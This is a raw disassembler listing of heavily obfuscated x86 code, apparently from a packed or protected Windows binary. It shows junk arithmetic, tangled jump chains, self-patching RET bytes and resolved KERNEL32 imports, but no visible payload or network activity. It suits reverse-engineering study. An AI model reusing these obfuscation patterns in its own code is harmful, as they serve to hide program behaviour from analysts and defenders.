; =============== S U B	R O U T	I N E =======================================



sub_7513E4	proc near		; CODE XREF: sub_74CBCF:loc_749A1Bp

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00747842 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00752DC0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 007546D1 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0075475F SIZE 0000001A BYTES

		xchg	edi, [esp+0]
		pop	edi
		pop	edx
		jmp	loc_747842
sub_7513E4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750C2D


loc_7513EE:				; CODE XREF: sub_750C2D:loc_7495C9j
		sub	esi, 0C34E4A06h
		or	esi, 20890CB9h
		add	esi, 0D3DB8E38h
		xchg	esi, [esp-8+arg_4]
		jmp	loc_747AC8
; END OF FUNCTION CHUNK	FOR sub_750C2D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_35. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AAC1


loc_751409:				; CODE XREF: sub_74AAC1+79B8j
		jmp	loc_74B4DC
; END OF FUNCTION CHUNK	FOR sub_74AAC1
; ---------------------------------------------------------------------------


loc_75140E:				; DATA XREF: sub_74658B+Co
		jns	loc_74F117
		sub	al, 99h
		push	49E628D6h
		pop	edx
		xor	edx, 0C9C86985h
		jmp	loc_747888

; =============== S U B	R O U T	I N E =======================================



sub_751427	proc near		; CODE XREF: _0z4jwtox:0074DB13p
					; _0z4jwtox:007551F9j
		xchg	ecx, [esp+0]
		pop	ecx
		mov	byte ptr [eax],	0C3h
		jmp	sub_74624E
sub_751427	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74624E


loc_751433:				; CODE XREF: sub_74624Ej
		call	sub_7508E6


loc_751438:				; CODE XREF: sub_747B31+DC88j
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_74624E

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_75143A	proc near		; CODE XREF: sub_753116-8CFEp

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00746334 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 007471FF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00748D92 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0074915C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00749AA3 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0074E9F5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00752F7F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00754751 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00755A9A SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00755BDF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00755C06 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075603C SIZE 00000008 BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_752F7F
sub_75143A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7514BF


loc_751442:				; CODE XREF: sub_7514BF:loc_752E9Aj
		jz	loc_7530DD
		mov	dword ptr [ebp-8], 1


loc_75144F:				; CODE XREF: sub_748B29+3j
					; _0z4jwtox:0074BE89j
		call	sub_74A279


loc_751454:				; CODE XREF: sub_756826-1015Dj
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		push	offset loc_747D3F
		jmp	locret_747CF9
; END OF FUNCTION CHUNK	FOR sub_7514BF
; ---------------------------------------------------------------------------
		shr	esi, 17h
		jmp	sub_7503D8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_80. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748DCB


loc_75146E:				; CODE XREF: sub_748DCB+C230j
		jmp	loc_747D88
; END OF FUNCTION CHUNK	FOR sub_748DCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CBCF


loc_751473:				; CODE XREF: sub_74CBCF:loc_749D03j
		push	7B369124h
		pop	ebx
		sub	ebx, 0CAA801BFh
		cmp	ebx, 0EEE7A934h
		jmp	loc_7466FB
; END OF FUNCTION CHUNK	FOR sub_74CBCF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7462C2


loc_75148A:				; CODE XREF: sub_7462C2+1A90j
		jns	loc_7540F9
		pop	edx
		adc	edx, 0F9A45587h
		adc	ebp, edi
		jmp	loc_7510BB
; END OF FUNCTION CHUNK	FOR sub_7462C2
; ---------------------------------------------------------------------------


loc_75149E:				; CODE XREF: _0z4jwtox:0074CE15j
		push	edi
		sbb	ebp, esi


loc_7514A1:				; CODE XREF: _0z4jwtox:loc_7485B3j
		call	sub_74F53E
		push	eax
		jmp	loc_754BFA

; =============== S U B	R O U T	I N E =======================================



sub_7514AC	proc near		; CODE XREF: sub_752D11-A3F3p
					; _0z4jwtox:00757407j

; FUNCTION CHUNK AT 00747616 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00747B6E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0074822E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 007495B9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00749DE7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074B1EF SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0074E3A2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074E3AC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007507F0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00752583 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00754064 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 007556E9 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 007565AD SIZE 00000011 BYTES

		xchg	edx, [esp+0]
		pop	edx
		add	eax, ebp
		add	eax, 85B839A2h
		mov	eax, [eax]
		jmp	loc_74822E
sub_7514AC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_7514BF	proc near		; CODE XREF: sub_745FE5:loc_74F00Bp
					; _0z4jwtox:00756B49j

; FUNCTION CHUNK AT 00745964 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007490F1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074ACAB SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00751442 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00752E8B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 007530DD SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00755D9F SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		jno	loc_74ACC3
		test	byte ptr [ebp-8], 40h
		jmp	loc_7490F1
sub_7514BF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_7514D2	proc near		; DATA XREF: sub_755F77:loc_750D19o
		add	ecx, ebp
		add	ecx, 32E8C825h
		call	sub_755E40
sub_7514D2	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_74742A


loc_7514DF:				; CODE XREF: sub_74742A+Dj
		jmp	loc_74B481
; END OF FUNCTION CHUNK	FOR sub_74742A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C0A0


loc_7514E4:				; CODE XREF: sub_74C0A0:loc_752855j
		jz	loc_74A746
		jmp	loc_749DAF
; END OF FUNCTION CHUNK	FOR sub_74C0A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75043C


loc_7514EF:				; CODE XREF: sub_75043C-B365j
		or	ecx, ecx
		jz	loc_748342
		mov	edx, [ebx+ecx]
		jmp	loc_74D0F4
; ---------------------------------------------------------------------------


loc_7514FF:				; CODE XREF: sub_75043C:loc_7450BBj
		mov	ebx, [eax+18h]
		jmp	loc_74750A
; END OF FUNCTION CHUNK	FOR sub_75043C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_77. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_751508:				; CODE XREF: _0z4jwtox:0074E324j
		jmp	loc_752271
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749161


loc_75150D:				; CODE XREF: sub_749161+10B1j
					; _0z4jwtox:0074A352j
		jmp	loc_74D872
; END OF FUNCTION CHUNK	FOR sub_749161
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A7D8


loc_751512:				; CODE XREF: sub_74A7D8+9601j
		mov	ebx, edi
		jmp	loc_7539C0
; END OF FUNCTION CHUNK	FOR sub_74A7D8
; ---------------------------------------------------------------------------


loc_751519:				; CODE XREF: _0z4jwtox:0075356Cj
		sub	al, 99h
		push	7E566117h
		pop	edx
		and	edx, 0C9754046h
		or	edx, 2D004D1h
		add	edx, 3B5879C2h
		jmp	loc_74A345
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7473D1


loc_751538:				; CODE XREF: sub_7473D1:loc_74E976j
		pop	ebp
		xchg	esi, [esp-4+arg_0]
		mov	ecx, esi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_7473D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748E45


loc_751540:				; CODE XREF: sub_748E45+DF0Ej
		jmp	loc_74806B
; END OF FUNCTION CHUNK	FOR sub_748E45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74985C


loc_751545:				; CODE XREF: sub_74985C+C85Ej
		jmp	loc_74ED8B
; END OF FUNCTION CHUNK	FOR sub_74985C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F30D


loc_75154A:				; CODE XREF: sub_74F30D+48FAj
		jl	loc_74B52B
; END OF FUNCTION CHUNK	FOR sub_74F30D
; START	OF FUNCTION CHUNK FOR sub_74F15D


loc_751550:				; CODE XREF: sub_74F15D+17CFj
		jmp	nullsub_90
; END OF FUNCTION CHUNK	FOR sub_74F15D
; ---------------------------------------------------------------------------
		mov	ebx, 0FFB2FD3Bh
		not	eax
		shr	esi, 10h
		jmp	loc_74B52B
; ---------------------------------------------------------------------------
		mov	ds:dword_41F0D0, eax
		lea	eax, nullsub_2
		mov	byte ptr [eax],	0C3h
		jmp	loc_750496
; ---------------------------------------------------------------------------


loc_751578:				; CODE XREF: _0z4jwtox:007461DCj
		mov	eax, [esp]
		push	edx
		call	sub_74B1F1
		mov	eax, 0D276D9AEh
		jmp	loc_74F272
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CBB7


loc_75158B:				; CODE XREF: sub_74CBB7:loc_74F56Cj
		jge	loc_7452B8


loc_751591:				; CODE XREF: sub_7453FB+B95Cj
		jmp	nullsub_91
; END OF FUNCTION CHUNK	FOR sub_74CBB7
; ---------------------------------------------------------------------------
		jz	loc_7470CB
		shr	ecx, 1Ah
		jmp	loc_7452B3
; ---------------------------------------------------------------------------


loc_7515A4:				; CODE XREF: _0z4jwtox:loc_7536BAj
		sub	ebx, 6D8BD061h

; =============== S U B	R O U T	I N E =======================================



sub_7515AA	proc near		; CODE XREF: sub_74FE16+1p

; FUNCTION CHUNK AT 0074FA79 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007523FE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00752911 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00756E30 SIZE 00000013 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	ebp, esp
		call	nullsub_5
		jmp	loc_752911
sub_7515AA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7463AE


loc_7515BA:				; CODE XREF: sub_7463AE:loc_74CDC8j
		jge	loc_747764


loc_7515C0:				; CODE XREF: sub_752C44-221Fj
		jmp	nullsub_109
; END OF FUNCTION CHUNK	FOR sub_7463AE
; ---------------------------------------------------------------------------
		adc	eax, edi
		cdq
		jmp	loc_747760
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7457DD


loc_7515CD:				; CODE XREF: sub_7457DD:loc_74BA24j
		jnz	loc_75570C
		jmp	loc_748221
; END OF FUNCTION CHUNK	FOR sub_7457DD
; ---------------------------------------------------------------------------


loc_7515D8:				; CODE XREF: _0z4jwtox:00747938j
		mov	ds:off_41F008, eax
		lea	eax, sub_749FEE
		mov	byte ptr [eax],	0C3h
		jmp	sub_749FEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749FEE


loc_7515EC:				; CODE XREF: sub_749FEE:loc_7479F8j
		mov	eax, [esp-4+arg_0]
		jmp	loc_756CC7
; END OF FUNCTION CHUNK	FOR sub_749FEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74ED5F


loc_7515F4:				; CODE XREF: sub_74ED5F+45A6j
		test	ebx, 4
		jmp	loc_757141
; END OF FUNCTION CHUNK	FOR sub_74ED5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_7515FF:				; CODE XREF: sub_747AEC:loc_752798j
		jz	loc_75122E
		jmp	loc_75614B
; END OF FUNCTION CHUNK	FOR sub_747AEC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_262. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F226


loc_75160B:				; CODE XREF: sub_74F226+Fj
		jmp	loc_747074
; END OF FUNCTION CHUNK	FOR sub_74F226
; ---------------------------------------------------------------------------


loc_751610:				; CODE XREF: _0z4jwtox:0074BC67j
		jmp	locret_747D82
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B1F9


loc_751615:				; CODE XREF: sub_74B1F9+9j
		jmp	loc_753FB5
; END OF FUNCTION CHUNK	FOR sub_74B1F9
; ---------------------------------------------------------------------------
		dw 77E8h
dword_75161C	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA					; sub_755B5B-79D0w ...
dword_751620	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; sub_74BA1A+4w ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_751624:				; CODE XREF: sub_747AEC-828j
		jmp	loc_74D385
; END OF FUNCTION CHUNK	FOR sub_747AEC
; ---------------------------------------------------------------------------
		db 22h,	95h, 0E3h
dword_75162C	dd 2							; sub_745911+7A6r ...
		dd 3 dup(2), 0C0h, 40h,	2 dup(1), 4 dup(2), 0C0h, 40h
		dd 2 dup(1), 4 dup(2), 0C0h, 40h, 2 dup(1), 4 dup(2), 0C0h
		dd 40h,	2 dup(1), 4 dup(2), 0C0h, 40h, 0
		dd 1, 4	dup(2),	0C0h, 40h, 0
		dd 1, 4	dup(2),	0C0h, 40h, 0
		dd 401h, 4 dup(2), 0C0h, 40h, 0
		dd 23h dup(1), 2 dup(2), 4 dup(0)
		dd 40h,	42h, 0C0h, 0C2h, 4 dup(1), 10h dup(1E00h), 0C2h
		dd 42h,	2 dup(0C2h), 0Ch dup(2), 0Ah dup(1), 60h, 5 dup(1)
		dd 4 dup(8), 4 dup(1), 0C0h, 40h, 6 dup(1), 8 dup(0C0h)
		dd 8 dup(40h), 2 dup(1C2h), 20h, 1, 2 dup(2), 0C2h, 42h
		dd 1E0h, 1, 20h, 2 dup(1), 0C0h, 2 dup(1), 4 dup(2), 2 dup(0C0h)
		dd 2 dup(1), 8 dup(2), 4 dup(1A00h), 4 dup(0C0h), 800h
		dd 0A00h, 60h, 1A00h, 4	dup(1),	0
		dd 1, 2	dup(0)
		dd 2 dup(1), 2 dup(2), 6 dup(1), 2 dup(2), 0FF98FCE9h
		dd 4687B1FFh
dword_751A34	dd 2				dd 3 dup(2), 1Ch dup(1), 5 dup(2), 1, 2, 19h dup(1), 10h dup(402h)
		dd 10h dup(1), 0Bh dup(2), 3 dup(1), 2 dup(2), 1, 3 dup(0C2h)
		dd 3 dup(2), 7 dup(1), 2 dup(2), 10h dup(0E00h), 10h dup(402h)
		dd 3 dup(1), 2,	1C2h, 3	dup(2),	3 dup(1), 2, 1C2h, 0Bh dup(2)
		dd 2 dup(1), 1C2h, 7 dup(2), 5 dup(1), 2, 9 dup(1), 3 dup(2)
		dd 1, 2, 2 dup(1), 2 dup(2), 1,	3 dup(2), 1, 2,	1, 2 dup(2)
		dd 2 dup(1), 2,	2 dup(1), 2 dup(2), 1, 3 dup(2), 1, 2
		dd 1, 3	dup(2),	1, 2, 2	dup(1),	3 dup(2), 1, 3 dup(2)
		dd 1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75309B


loc_751E34:				; CODE XREF: sub_75309B-85C1j
		jmp	loc_74FB0B
; END OF FUNCTION CHUNK	FOR sub_75309B
; ---------------------------------------------------------------------------
		popf
		jmp	sub_74F660
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746389


loc_751E3F:				; CODE XREF: sub_746389:loc_748AB7j
		and	edx, eax
		setnz	byte ptr [ebp-5]
		push	edi
		push	0A4071E31h
		jmp	loc_746F70
; END OF FUNCTION CHUNK	FOR sub_746389
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C39


loc_751E50:				; CODE XREF: sub_747C39+B227j
		call	sub_746389


loc_751E55:				; CODE XREF: _0z4jwtox:0074D487j
					; sub_74F53E-1E4j
		jmp	loc_75776D
; END OF FUNCTION CHUNK	FOR sub_747C39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7556D8


loc_751E5A:				; CODE XREF: sub_7556D8:loc_748118j
		pop	ebx
		xor	ebx, 73EE3087h
		jnz	loc_752B24
; END OF FUNCTION CHUNK	FOR sub_7556D8
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_751E67:				; CODE XREF: sub_747C22+C98j
		jmp	loc_7491A4
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
		jno	loc_74AE59
		cdq
		jmp	loc_74EB72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_751E78:				; CODE XREF: sub_747AEC+35F9j
		jnz	loc_74F82D
		jmp	loc_7458F0
; END OF FUNCTION CHUNK	FOR sub_747AEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746E93


loc_751E83:				; CODE XREF: sub_746E93:loc_74E53Fj
					; sub_746E93+D597j
		push	ecx
		mov	ecx, eax
		xchg	ecx, [esp+4+var_4]
		lea	eax, dword_756684
		push	ebx
		jmp	loc_74D7E4
; END OF FUNCTION CHUNK	FOR sub_746E93
; ---------------------------------------------------------------------------


loc_751E95:				; CODE XREF: _0z4jwtox:loc_7534A7j
		jl	loc_7488F3
		sbb	edx, esi
		jmp	loc_7488EC
; ---------------------------------------------------------------------------


loc_751EA2:				; CODE XREF: _0z4jwtox:loc_74F390j
		pop	edx
		rol	edx, 9
		cmp	edx, 426CE086h
		jmp	loc_752350
; ---------------------------------------------------------------------------


loc_751EB1:				; DATA XREF: sub_7457CB+8DE2o
		mov	eax, [eax-10h]
		and	eax, 7
		push	offset sub_749D35
		jmp	loc_75721F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7562F7


loc_751EC1:				; CODE XREF: sub_7562F7-5449j
		push	260CCE85h
		cdq
		jmp	loc_74ECD6
; END OF FUNCTION CHUNK	FOR sub_7562F7

; =============== S U B	R O U T	I N E =======================================



sub_751ECC	proc near		; CODE XREF: _0z4jwtox:00755BCFj
					; _0z4jwtox:00756A00p
		xchg	esi, [esp+0]
sub_751ECC	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_7561AB


loc_751ECF:				; CODE XREF: sub_7561AB:loc_7544D8j
		pop	esi
		push	0EDCB9B54h
		pop	esi
		jmp	loc_74B33A
; END OF FUNCTION CHUNK	FOR sub_7561AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7562D5


loc_751EDB:				; CODE XREF: sub_7562D5+Bj
		call	sub_754E36
		mov	eax, 524E554Eh
		call	sub_746E93
		push	edx
		push	295F1CC0h
		pop	edx
		rol	edx, 9
		add	edx, 5AEEFF56h
		jmp	loc_754564
; END OF FUNCTION CHUNK	FOR sub_7562D5

; =============== S U B	R O U T	I N E =======================================



sub_751EFF	proc near		; CODE XREF: _0z4jwtox:00745BE2j
					; sub_74D1F3:loc_74FF2Bj ...

; FUNCTION CHUNK AT 00746EA8 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0074DE28 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 007512E4 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-10h], 0
		jmp	loc_746EA8
sub_751EFF	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_175. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A094


loc_751F10:				; CODE XREF: sub_74A094+4743j
		jmp	nullsub_141
; END OF FUNCTION CHUNK	FOR sub_74A094
; ---------------------------------------------------------------------------


loc_751F15:				; CODE XREF: _0z4jwtox:00749354j
		adc	edx, esi
		xor	ecx, esi
		adc	ebx, 9DAA41Eh
		sbb	edi, 17519CB9h
; START	OF FUNCTION CHUNK FOR sub_7529BD


loc_751F25:				; CODE XREF: sub_7529BD:loc_749339j
		add	eax, 0C1F34FBEh
		or	eax, 355F02F2h
		add	eax, 0C075F47Bh
		jmp	loc_75127F
; END OF FUNCTION CHUNK	FOR sub_7529BD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_219. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E451


loc_751F3D:				; CODE XREF: sub_74E451+3F4Cj
		jmp	loc_757586
; END OF FUNCTION CHUNK	FOR sub_74E451
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7561AB


loc_751F42:				; CODE XREF: sub_7561AB-7E94j
		add	ecx, 7B8B9C4Ch
		sub	ecx, 0E90A3C5Dh
		xor	ecx, 0EBE670FDh


loc_751F54:				; CODE XREF: _0z4jwtox:loc_748E56j
		add	ecx, 28F6775Ch
		xchg	ecx, [esp+4+var_4]
		jmp	sub_746CF0
; END OF FUNCTION CHUNK	FOR sub_7561AB
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0F5h
dword_751F64	dd 58C64F55h	; ---------------------------------------------------------------------------
		call	nullsub_15
		jmp	loc_75523B
; ---------------------------------------------------------------------------
		xor	edx, 0A4AF0DD8h
		jmp	loc_7533EF
; ---------------------------------------------------------------------------


loc_751F7D:				; DATA XREF: sub_7473D1+7C77o
		call	sub_750243
		cmp	eax, [ebp-8]
		call	sub_7578F4
; START	OF FUNCTION CHUNK FOR sub_755C10


loc_751F8A:				; CODE XREF: sub_755C10-6C63j
		sub	al, 99h
		mov	edx, [ebp+var_4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_752192
		jmp	loc_74950E
; END OF FUNCTION CHUNK	FOR sub_755C10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754DFF


loc_751F9E:				; CODE XREF: sub_754DFF-71D7j
		popf
		jmp	sub_7511A7
; END OF FUNCTION CHUNK	FOR sub_754DFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7501AF


loc_751FA4:				; CODE XREF: sub_7501AF:loc_751103j
		mov	byte ptr [eax],	64h
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-20h]
		mov	byte ptr [eax],	6Ch
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-20h]
		jmp	loc_74584E
; END OF FUNCTION CHUNK	FOR sub_7501AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C39


loc_751FBB:				; CODE XREF: sub_747C39+1FE5j
		jb	loc_753B7C


loc_751FC1:				; CODE XREF: sub_747C39:loc_75136Aj
					; _0z4jwtox:loc_7522FDj
		push	8E1B41B6h
		pop	eax
		rol	eax, 13h
		xor	eax, 667F7C39h
		jmp	loc_752E49
; END OF FUNCTION CHUNK	FOR sub_747C39
; ---------------------------------------------------------------------------


loc_751FD5:				; CODE XREF: _0z4jwtox:0074F8EDj
		jnz	loc_74739E
		pop	eax
		jmp	loc_74506D
; ---------------------------------------------------------------------------
		xor	edx, eax
		jmp	loc_74F157
; ---------------------------------------------------------------------------
		mov	[edx], eax
; START	OF FUNCTION CHUNK FOR sub_74A7D8


loc_751FEA:				; CODE XREF: sub_74A7D8+2745j
		not	eax
		jmp	sub_74549C
; END OF FUNCTION CHUNK	FOR sub_74A7D8
; ---------------------------------------------------------------------------


loc_751FF1:				; CODE XREF: _0z4jwtox:007495D4j
		sub	esi, ebp


loc_751FF3:				; CODE XREF: _0z4jwtox:loc_7495BEj
		add	esi, 17E74724h
		add	esi, edx
		call	sub_746869
; START	OF FUNCTION CHUNK FOR sub_755F42


loc_752000:				; CODE XREF: sub_755F42-7F89j
		jmp	loc_7524F1
; END OF FUNCTION CHUNK	FOR sub_755F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AE67


loc_752005:				; CODE XREF: sub_74AE67:loc_757298j
		jz	loc_7554A3
		jmp	loc_74F4F2
; END OF FUNCTION CHUNK	FOR sub_74AE67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748C0D


loc_752010:				; CODE XREF: sub_748C0D:loc_74C27Bj
					; _0z4jwtox:0074C29Dj
		and	eax, 2F005CFCh
		add	eax, 227005C6h
		add	eax, ebp
		add	eax, 0DD8FF5CEh
		jmp	loc_754B16
; END OF FUNCTION CHUNK	FOR sub_748C0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A47B


loc_752029:				; CODE XREF: sub_74A47B-4D3j
		call	sub_75051C
		call	sub_75263A
; END OF FUNCTION CHUNK	FOR sub_74A47B
; START	OF FUNCTION CHUNK FOR sub_74673E


loc_752033:				; CODE XREF: sub_74673E-6E1j
		jmp	loc_74D683
; END OF FUNCTION CHUNK	FOR sub_74673E
; ---------------------------------------------------------------------------


loc_752038:				; CODE XREF: _0z4jwtox:0074D30Fj
		xor	eax, 0D88C654h
		or	eax, 0B8FC32DFh
		add	eax, 42777456h
		xchg	eax, [esp]
		jmp	sub_746E93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CF35


loc_752052:				; CODE XREF: sub_74CF35+6j
		jb	loc_755DB7
		sub	al, 99h
		push	165CA5D6h
		pop	edx
		add	edx, 4FDD8C46h
		rol	edx, 0Eh
		and	edx, 0A7F063D4h
		jmp	loc_74AEF7
; END OF FUNCTION CHUNK	FOR sub_74CF35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7457DD


loc_752074:				; CODE XREF: sub_7457DD+2A4Cj
		cmp	esi, eax
		jmp	loc_755704
; END OF FUNCTION CHUNK	FOR sub_7457DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7490F6


loc_75207B:				; CODE XREF: sub_7490F6+96D8j
		jnz	loc_750C7B
		jmp	loc_75271F
; END OF FUNCTION CHUNK	FOR sub_7490F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754C68


loc_752086:				; CODE XREF: sub_754C68-93F3j
		push	0A0F030D7h
		pop	eax
		xor	eax, 0A1B9AC79h
		sub	eax, 0C30B0EE2h
		and	eax, 4F9234BBh
		test	eax, 8000h
		jmp	loc_74CDDC
; END OF FUNCTION CHUNK	FOR sub_754C68
; ---------------------------------------------------------------------------


loc_7520A9:				; CODE XREF: _0z4jwtox:0074676Fj
		jnb	loc_747D29
		xchg	edi, edx


loc_7520B1:				; CODE XREF: _0z4jwtox:loc_74883Cj
		and	ebx, 0CFF738BEh
		or	ebx, 0A2B202DAh
		test	ebx, 200h
		jmp	loc_74CA91
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7474B9


loc_7520C8:				; CODE XREF: sub_7474B9:loc_7465FDj
		jnz	loc_746FAF


loc_7520CE:				; CODE XREF: _0z4jwtox:007496D1j
		jmp	loc_756932
; END OF FUNCTION CHUNK	FOR sub_7474B9
; ---------------------------------------------------------------------------
		mov	[edi], ecx
		push	eax
		not	eax
		jmp	loc_746FAF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756741


loc_7520DD:				; CODE XREF: sub_756741:loc_756749j
		push	235B6BD6h
		pop	eax
		rol	eax, 2
		xor	eax, 0C667CF7Dh
; END OF FUNCTION CHUNK	FOR sub_756741
; START	OF FUNCTION CHUNK FOR sub_74CBCF


loc_7520EC:				; CODE XREF: sub_74CBCF+3ED9j
		jmp	loc_75500E
; END OF FUNCTION CHUNK	FOR sub_74CBCF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C670


loc_7520F1:				; CODE XREF: sub_74C670+7219j
		jnb	loc_74F162


loc_7520F7:				; CODE XREF: sub_74C670:loc_74C44Aj
		push	2D36F66Dh
		pop	eax
		and	eax, 0DF54951Bh
		jmp	loc_7505A1
; END OF FUNCTION CHUNK	FOR sub_74C670
; ---------------------------------------------------------------------------
		or	ebp, 1AC8002Bh
		adc	edi, edx
		jmp	sub_74A99B

; =============== S U B	R O U T	I N E =======================================



